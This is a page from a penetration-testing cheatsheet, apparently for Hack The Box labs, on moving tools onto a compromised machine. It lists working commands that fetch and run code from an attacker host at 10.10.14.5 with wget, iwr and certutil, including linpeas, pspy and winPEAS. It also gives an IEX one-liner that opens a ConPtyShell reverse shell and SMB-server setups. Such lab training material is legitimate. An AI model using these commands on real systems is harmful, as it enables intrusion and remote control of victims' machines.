Ingress Tool Transfer
Moving tools and files from your machine to the victim (and back).
How it shows up on Hack The Box
A python3 -m http.server on your machine and wget, curl, certutil or iwr on the victim. If HTTP egress is blocked, use SMB (impacket-smbserver) or base64 by hand.
There are no catalog machines with this technique yet: practice it with the commands and guides in your own lab.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Reverse shell generator › Windows
Full TTY on Windows (ConPtyShell)
Target
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 443File transfer › Linux
HTTP server in the current folder
Attacker
python3 -m http.server 80
wget
Target
wget http://10.10.14.5/linpeas.sh -O /tmp/linpeas.shFile transfer › Windows
PowerShell
Target
iwr http://10.10.14.5/fichero.exe -OutFile C:\Windows\Temp\fichero.exe
certutil
Target
certutil -urlcache -split -f http://10.10.14.5/fichero.exe C:\Windows\Temp\fichero.exe
SMB share on your machine
Attacker
impacket-smbserver share $(pwd) -smb2support
If Windows blocks guest access
Attacker
impacket-smbserver share $(pwd) -smb2support -username pwn -password pwnLinux privilege escalation › Checks
Watch processes as they start (pspy)
wget http://10.10.14.5/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64Windows and Active Directory privilege escalation › Windows
winPEAS
iwr http://10.10.14.5/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe; C:\Windows\Temp\wp.exelinPEAS › Getting it onto the victim
Serve it from your machine
Attacker
python3 -m http.server 80No command matches.